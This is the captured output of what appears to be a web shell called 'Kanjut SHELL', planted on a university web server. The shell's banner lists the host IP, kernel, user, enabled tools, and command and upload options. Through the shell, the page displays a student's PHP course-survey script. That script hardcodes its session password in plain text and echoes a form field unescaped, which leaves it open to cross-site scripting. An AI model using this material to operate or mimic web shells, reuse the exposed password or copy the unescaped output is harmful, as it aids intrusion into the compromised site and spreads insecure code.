Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.219.47.239
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/vnlaughlin/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/vnlaughlin/public_html/surveypage.php
<!--survey page for welcome form-->

<FONT size=4>

<?php

	session_start();
	$pass = $_SESSION['psw'];
	$_SESSION['psw'] = $pass;
	if($pass != "ch7hw")
		print "Incorrect Password.";
	else
	{
	$student = $_POST['student'];
	$gender = $_POST['gender'];
	$grade = $_POST['grade'];
	$course = $_POST['course'];

	if ($gender == "m")
		$gender = "Male";
	else
		$gender = "Female";

	if ($grade == "fr")
		$grade = "Freshman";
	else if ($grade == "so")
		$grade = "Sophomore";
	else if ($grade == "j")
		$grade = "Junior";
	else
		$grade = "Senior";

	$_SESSION['s1'] = $student;
	$_SESSION['s2'] = $gender;
	$_SESSION['s3'] = $grade;
	$_SESSION['s4'] = $course;

	print "<center><h2>Survey for $course</h2></center>"
?>
	<HR>
	<Form action=info.php method=post>
	<p>
	1) The instructor of this class made time to help students.
	<ul>
	<input type=radio name=q1 value=sa1> Strongly Agree
	<input type=radio name=q1 value=a1> Agree
	<input type=radio name=q1 value=na1> Not Agree
	</ul>
	<p>
	2) The grading in this class was fair.
	<ul>
	<input type=radio name=q2 value=sa2> Strongly Agree
	<input type=radio name=q2 value=a2> Agree
	<input type=radio name=q2 value=na2> Not Agree
	</ul>
	<p>
	3) The learning material was clear.
	<ul>
	<input type=radio name=q3 value=sa3> Strongly Agree
	<input type=radio name=q3 value=a3> Agree
	<input type=radio name=q3 value=na3> Not Agree
	</ul>
	<p>
	4) The class was orgainized.
	<ul>
	<input type=radio name=q4 value=sa4> Strongly Agree
	<input type=radio name=q4 value=a4> Agree
	<input type=radio name=q4 value=na4> Not Agree
	</ul>
	<p>
	Comments: <input type=textbox name=comment>
	<p>
	<input type=submit value=Submit>
	<input type=reset value=Reset>

	</Form>

<?php
	}
?>

<HR>
<A HREF=index.html> Home </A>
</FONT>
</BODY>

Stv3n404 - 2023